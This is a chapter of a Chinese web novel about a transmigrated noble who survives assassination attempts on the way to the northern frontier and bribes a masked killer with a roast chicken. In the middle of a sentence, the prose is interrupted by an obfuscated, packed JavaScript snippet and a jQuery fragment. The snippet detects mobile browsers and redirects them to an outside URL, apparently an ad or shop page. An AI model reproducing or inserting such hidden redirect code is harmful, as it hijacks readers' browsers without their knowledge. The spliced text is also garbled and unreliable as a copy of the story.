“小李将军——有您的信！”


    李辞禅摘下头盔，随手借住部下递上的几封薄厚不一的信件。


    他快速翻看，目光意义扫过信封上的落款与印戳——


    兄长、兵部文书、京中旧友……


    直到指尖触到一封没有署名、只有特殊火漆封缄的简短信筒。


    他忽然动作一顿，指节微微收紧。随即，他将其他信件往怀中一揣，转身对仍在校场上汗如雨下的士兵们沉声道：


    “自行训练阵型，一刻钟后列队校检。”


    说罢，不待众人反应，他已大步朝着自己的营长走去，玄色披风在身后随风飘扬。


    见小煞神的身影迅速消失在营帐后，校场上紧绷的氛围骤然一松，响起一片压抑的吐气声和议论声。


    “真稀罕，小李将军竟会在操练中途撂下咱们……”


    一个老兵面露挪揄：“估计是收到那位的来信了！上回我当值送信，除了李大公子的例行问讯，就数那封没署名的信筒，让他眼神都变了，抓着信转头就扎进帐里，半天没出来。”


    旁边的新兵听得好奇：“那位？哪位啊？能让咱们将军这么……”


    “啧，小声！”老兵连忙示意，“还能有谁！据说跟咱们将军是过命的交情，以前在京城就形影不离的……我估计八九不离十，就是那位了。”


    营帐内。


    李辞禅立即寻来匕首，立刻划开了信筒的密封，抽出其中的信纸。


    熟悉的字迹跃入眼帘——清隽舒展，笔锋转折中带着一丝不易察觉的锋利。


    正是江弄玦的字。


    他几乎是屏住呼吸，一目十行地扫过纸面。


    信不长，信息量却极大。


    江弄玦先言简意赅地说明了自己奉旨前往北疆的事情经过，又含蓄地提及此事背后的凶险和身不由己。又交代了自己离开后，一切事宜暂托于林知尘管理。


    他甚至交代了后事——若自己万一回不来了，让李辞禅回去找林知尘。


    ——JUE


    信末没有落款，只有三个奇怪的符号。


    江弄玦曾玩笑般地告诉他，说那叫英文字母。


    李辞禅当时只觉得这人脑子里净装些稀奇古怪的东西。但此刻，通过这奇怪却独一无二的符号，李辞禅便能确定这是江弄玦亲手所写的信。


    ——交代后事。


    李辞禅捏着信纸的手指微微用力，指节渐白。


    北疆。


    那是比西北更复杂的泥潭。军中派系各立，蛮族虎视眈眈，皇帝心思难测。


    镇北王当真是给江弄玦留了个天大的烂摊子。


    “……江弄玦。”他将这个名字低低地念了出来。


    李辞禅站在原地，营帐的阴影将他高大的身形吞没大半。一种前所未有、几乎将他吞噬的烦躁难安，如同蟒蛇一般缠住了他的心脏，越收越紧。


    他本以为先建功立业，拥有足够的力量与资本，方能堂堂正正回京对江弄玦徐徐图之，让他慢慢接受自己。


    他本以为，时间站在他这边。


    但北疆一行，像一道猝不及防的霹雳。


    无人能保证江弄玦的安危，一分一毫的把握都没有。


    如果江弄玦受伤……


    这个念头刚起，李辞禅的心脏便猛地一缩，眼前不受控制地闪过当年秋猎时的画面——


    乱石，江弄玦失控坠马的身影，


    以及那让他疯魔般搜寻了整整三天的、无时无刻的恐惧与绝望。


    而这次，他离江弄玦更远，远到甚至连确切的消息，都要迟来许久。


    比如——


    江弄玦遭人陷害，身死北疆。


    仅仅是假设，一股刺骨的寒凉便瞬间沿着脊髓窜遍全身。


    不行。


    绝对不行。


    他需要做点什么。


    必须做点什么。


    立刻、马上。


    此时的江弄玦，已在皇帝的安排下，带着钦差监军与随行卫队向北疆行进了两周有余。


    此时，他正在临时驻扎的营帐中，阅览朱刃呈上的最新情报。


    收到镇北王家书时，他便让朱刃火速办了三件事。


    一是主动搜集镇北军的“污点”，用于写陈情书，以示弱在皇帝树立一个“可被操纵”的形象。


    二是查出北疆军中各将领的软肋，并彻查之前京中关于江弄玦身世流言的散播者。


    最初，确有镇北王为了道德绑架皇帝而推波助澜的痕迹。随后愈演愈烈的发酵，其背后有着陆相一党的影子。


    这证实了江弄玦当时的猜测：他们最可能趁机在北疆权力更迭之际往里面塞人。他这番北疆之行的背后，恐怕也有他们的功劳。


    三是全面接管镇北王给他的用于“夺权”的刀。各处暗线将会给江弄玦同步北疆最重要、最新的情报，也就是江弄玦现在手中的这份暗报。


    其中包含了北疆核心将领们最新的动向、联盟，还有朝廷钦差队伍中某些随行人员的背景深挖。有了这份情报书，他便可以悄无声息地远程指挥暗部，动员可以争取的己方力量了。


    这一路上，并非一帆风顺。


    最初随军对他多少有点意见，毕竟他身无军功，又是以“侍疾理政”之名北上，而非沙场厮杀。


    但出军第三天，一场行刺彻底改变了众人的看法。


    当夜，刺客来势汹汹，直指中军主帐。江弄玦却似早有警觉，非但分毫不慌，反而展现出与其清隽外表截然不同的凌厉身手和果决狠辣，当场反杀了两名刺客。


    而后他镇定指挥，配合卫兵，最终生擒一名刺客。虽然事后没能审问出主使，但他的雷霆手段和沉稳的气度却让随军不得不开始重视这位世子爷。


    加之此次督军是皇帝的心腹，为人公正，在他维持军纪的辅佐下，江弄玦得以在队伍内部站稳了阵脚。


    说到行刺，短短两周内，江弄玦在夜里被突袭四回了。


    随着离北疆越来越近，行刺的频度和出手的狠辣越发让人难以应付。每一次袭击都更刁钻，更贴近核心防卫圈。


    这一系列的刺杀明显是由多方势力谋划的。无论是北疆还是朝廷内部，甚至是蛮族安插的细作，江弄玦一死，可以从中获利的人太多了。


    当然，江弄玦也察觉到，除去自己的暗部，每次刺杀中也会诡异地涌出来路不明、却明显保护他的势力。


    这虽也在江弄玦的预料之内，可他也没自信能全然依靠这些“友军”抵挡住接下来更加猛烈的刺杀。


    烛火下，江弄玦耳尖微动，听到了帐外传来喧嚷与兵刃相接的声音。


    又来了。


    他放下密报，指尖用力按了按突突直跳的眉心。


    这都不算刺杀了，纯纯来消磨他精神的。对方的目的也许不仅是取他性命，更是要让他在到达北疆之前变得身心俱疲，失去稳定的决策力。届时，他一个出错，哪怕已经揽权在手，恐怕也会死无葬身之地。


    指尖挪开，江弄玦神情中的疲惫被强行压下，眼中唯有冰冷的锐光。


    帐外的厮杀声愈发清晰。他没有立刻冲出去，而是迅速将重要文书收好，检查身上的暗器与护具，随后抬手拿剑，走向帐门。


    帐外众人见江弄玦现身，随即纷纷涌来——有保护他的，也有持剑来索命的。


    江弄玦侧身横剑挡住一击，配合卫兵合力斩杀来人。不及喘气，便听兵器的破空声从侧面袭来……


    这次刺杀，江弄玦没能擒住任何活口。似乎这次来的都是死士，一有被擒住的迹象时，对方便当即服毒自尽，不留半分审问的余地。


    江弄玦虽然仗着身手和亲卫的拼死维护未曾受伤，但接连的高强度戒备与厮杀，难免让他筋疲力尽。


    此时，空气中弥漫着血腥味与死亡气息，更对幸存的士兵产生了精神上沉重的损耗。


    江弄玦强打精神，指挥善后，待军心稍定后，才拖着灌了铅般沉重的四肢回了主帐。


    他一边动作迟缓地卸下沉重的兵甲，一边低声叹气：“这日子真是没法过了。”


    刚才战斗时肾上激素飙升还感觉不到，现在他松懈下来，便觉得肌肉酸痛如潮水般涌上。


    正当他弯腰，准备解开小腿上的软甲时——


    异变突生！


    没有破风声，没有衣袂响动，甚至没有一丝杀气泄露。


    仿佛只是烛火颤动一瞬，一道凝练到极致的冰冷剑风，已如凭空出现般，直指他毫无防备的后脑勺！


    江弄玦全身汗毛在千分之一秒内炸起，根本来不及思考，更遑论呼喊——任何多余的分神或动作都只会让死亡降临得更快。


    一切感官都在求生的本能下被拉伸、放大。在他眼中，如同被拆解成一帧一帧缓慢而清晰的画面：


    凭借多年苦练近乎刻入骨髓的肌肉记忆，以及对身体精准的控制，他极限而狼狈地向一侧滚去，但依旧被剑气划破了手臂的皮肉。


    翻滚的冲劲未尽，他借着帐内的烛光，捕捉到了来袭者的惊鸿一瞥——


    上半脸戴着毫无纹饰的金属面具，静立在他方才的位置后面，仿佛一开始就站在那里。面具后的眼睛看不出情绪，甚至看不清焦点。


    没有停顿，没有间隙。


    就在江弄玦视线触及对方的瞬间，那如暴雨般的攻击猛然袭来。


    剑光化为剑雨般封锁了他所有可能的闪避空间和反击角度，如影随形，倾泻而来。


    在身体和精神都已濒临枯竭的此刻，江弄玦多一丝杂念都不敢有。他全部的意志与残存的气力，都倾注于不断的格挡、闪避、再格挡的循环中。


    每一个动作都游走在生死边缘，慢上一分，偏上一毫，那冰冷无情的剑锋便会顷刻割开他的喉咙，或刺穿他的心脏！


    此人身手，远超此前所有刺客。


    甚至，在“杀人”这门技艺上，可能比李辞禅都更为纯粹而可怕。


    他招招致命，却感受不到分毫属于“人”的杀意或急躁，更像是在执行一套完美无缺的程序，或者仅仅是在完成“挥剑”这个动作本身。


    与如此境界的对手过招，不过几息之间，江弄玦便觉内力滞涩，手臂酸麻，眼前阵阵发黑。


    力竭。


    这两个字如同丧钟，在他越发沉重的脑中嗡鸣。


    不可以……


    决不能死在这里。


    江弄玦咬着牙，口中蔓延着一股铁锈味。


    他苟了这么多年，战战兢兢，好不容易争得一线生机，有了在棋盘上存活的资本。


    怎么能，就这么不明不白地死在这里！


    不能硬拼。


    得想办法，动脑子！


    江弄玦，动脑啊！


    就在他心神急转，试图从狂风暴雨般的攻势中寻找到哪怕一丝破绽的刹那——


    “咔！”


    一声轻微却清晰的脆响。


    对方手中那柄看似平凡的长剑，在一次并非猛烈的格挡中，竟从中断开了！


    剑的前半段“叮当”一声落在地上。


    江弄玦一愣，下意识后退半步，喘息着，惊疑不定地看向对方。


    这剑……质量就这吗？这等水平的刺客，怎会随便用剑。还是说……


    却见对方只是身形微滞，看都没看地上的断剑，将残存的另一半随手甩开，另一只手极其自然地从腰间抽出了……


    一根还带着许些叶片的竹竿？


    竹子约莫三尺来长，拇指粗细，新鲜得仿佛刚从竹林里折下。


    江弄玦瞳孔微缩。


    他立刻明白了——


    武器是什么并不重要，到了这杀人怪物的手中，就不是凡物了。竹竿在他掌中，比神兵利器更致命。


    等等！


    为什么是竹子？


    这人的武器，根本是随手拿的！


    电光火石间，江弄玦脑中爆发一阵灵光。


    生死关头，他强压所有慌乱与疲惫，将心神


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515981|203193||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凝聚到极致，以最快的速度观察了这刺客本身——


    发旧到有些邋遢的布袍，袍角一处不起眼、疑似油渍的污迹。


    腰间挂着的旧布袋，似乎隐约散发出与这肃杀场面格格不入的烤肉香。


    还有那剑招，细细看来，那份精准之下——？


    是某种心不在焉的敷衍？


    这些破碎而荒谬的细节，在江弄玦高速运转而发烫的脑中疯狂碰撞，拼接！


    最终得出一个近乎不可能的猜测。


    但，这也可能是他的生机所在！


    就是它了！


    别无选择，赌这一把！


    江弄玦身体先于意识做出了行动。


    他反手奋力一挡，同时足下发力，迅速后退拉开距离，然后目标明确——向帐中除了书桌外的第二张桌子奔去。


    刺客似乎对他的突然撤退略有意外，但依旧漠然。他身形如鬼魅般再度飘近江弄玦。


    江弄玦已无暇顾及身后刺骨的寒意，他以平生最快的速度扑到桌前，目光扫过桌面——水袋、干粮、几卷文书，还有……


    就是它！


    没有半分犹豫，他一把抓住那样东西，用尽全身残余的力气，狠狠砸向了紧跟身后的刺客！


    伴随包裹用的油纸在空中散开，那件东西露出了真面目——色泽金黄、已经凉透的一只烤鸡！


    随着那烤鸡划出一个油汪汪、堪称滑稽的抛物线，江弄玦的心也提到嗓子眼。


    拜托了！一定要引起注意！


    所有希望都系于这荒谬绝伦的一掷。


    “呼——”


    破空声轻响。


    那原本该直刺江弄玦咽喉的竹竿，在距离他脖颈不到三寸的地方，极其生硬地停住了。刺客那明显的卡顿隐约透露出一种不知所措，显得异常诡异和好笑。


    但这停滞仅持续了不到半息。


    下一秒，只见刺客那原本空着的左手以一种快到模糊的速度倏然抬起，精准而轻巧地捞住了那只即将坠地的烤鸡。


    油纸完全脱落，烤鸡稳稳落在他的掌心。


    然后，


    时间仿佛按下了暂停键。


    那戴着面具的刺客，就这样保持着左手托鸡，右手持竹前刺的古怪姿势，如同雕塑一般停在了那里。


    面具后那双一直没什么焦点的眼睛，此刻却直勾勾地落在了那只香气犹存的烤鸡上。


    江弄玦劫后余生般剧烈喘息，后背早已被冷汗浸透。看到对方死机的反应时，他眸光锃亮！


    赌对了！


    狂喜与庆幸闪过一瞬，立刻被谨慎取代。


    当然，江弄玦不敢趁机反杀，他怕自己的杀意或动静让这位大神回过神来，想起吃鸡前还没解决他这个小虾米。


    他压下狂跳的心脏和发软的双腿，迅速调整呼吸，让自己听起来尽可能镇定，带着一□□哄，对着那尊“托鸡思鸡”的雕塑开口：


    “那只鸡凉了，味道差得远。”


    江弄玦咽了咽口水，吐字清晰，带着诚意：


    “只要你放下竹子，像这样的烤鸡，刚出炉的、滋滋冒油的，我能让你吃到腻。”


    话落，帐内寂静了一瞬。


    随即，一个声音响起：


    “收买。”


    语调平直，声音是意外的清越干净，甚至带着点少年人特有的微哑。


    面具人说话了！


    江弄玦心中一块巨石轰然落地，几乎欣慰到热泪盈眶。


    能沟通，就有转机！


    更让他松了口气的是，随着这声“收买”，对方那根抵在他喉咙三寸前的竹竿，缓缓地、带着一丝不情愿地收了回去，随意地垂在了身侧。


    面具人托鸡转向江弄玦，江弄玦得以更加仔细地观察对方。


    那面具看着质朴，颜色暗沉，但材质非金非木，边缘与面部贴合度极高，显然是特制的。


    这让江弄玦联想到以前在某本杂记里读到的只言片语，关于一个神秘莫测的杀手组织。


    面具孔洞后的那双眼睛，是少见的琥珀色，色泽纯净，宛若无机质的水晶。


    此刻，这双眼里清晰地映出江弄玦狼狈的模样，却依旧没有杀意，反透露出一种茫然与懵懂。面具下方露出冷白色的下半脸，下颌线条流畅精致，唇形姣好而颜色浅淡。即使未见全貌，也足以让人确信，面具之后定然是张极为出色的脸。


    年纪尚轻，武力值却高得如此离谱，再结合那张特制的面具。


    江弄玦心脏猛地一跳，一个在游戏资料库里被标红的名称蹦入脑海——


    涧中林。


    那个乙游中被标注为“大雍第一杀手组织”，接单看心情且索价极高的神秘团体。而男主之一的夏拾欢，正是这个组织武力巅峰的剑客。


    “这是收买。”


    那清越干净的声音再次响起，将江弄玦从震惊的联想中拉了回去。面具后琥珀色的眼眸平静地看着他，似乎在等待一个更好的报价。


    原来涧中林的杀手……是可以临场被收买的吗？还是说只是眼前这位格外随性？


    不论如何，江弄玦缓缓说出了早已打好的腹稿：


    “我手中，有一本仅存于东宫的剑法秘籍复本。不知阁下可曾听闻《惊鸿影》”


    面具人竟痛快颔首：“成交。给我。”


    “额……这副本不在我手中，”江弄玦忍着疼痛，艰难地支起身，“我需要让部下为我送来……”


    眼见面具人抬手起势，江弄玦连忙补充：“最快明日便能送到！”


    同时他再次快速思考，现下还有什么能加码稳住对方。


    食物？


    方才的烤鸡也许能换来一时的迟疑，但绝不够买自己这条命。必须要抛出更有分量的东西。


    电光火石间，江弄玦想起，涧中林成员皆以鸟类为代号。


    夏拾欢在游戏角色介绍中位列“隼”，于是江弄玦抱着一线希望，试探性低声道：


    “……隼十？”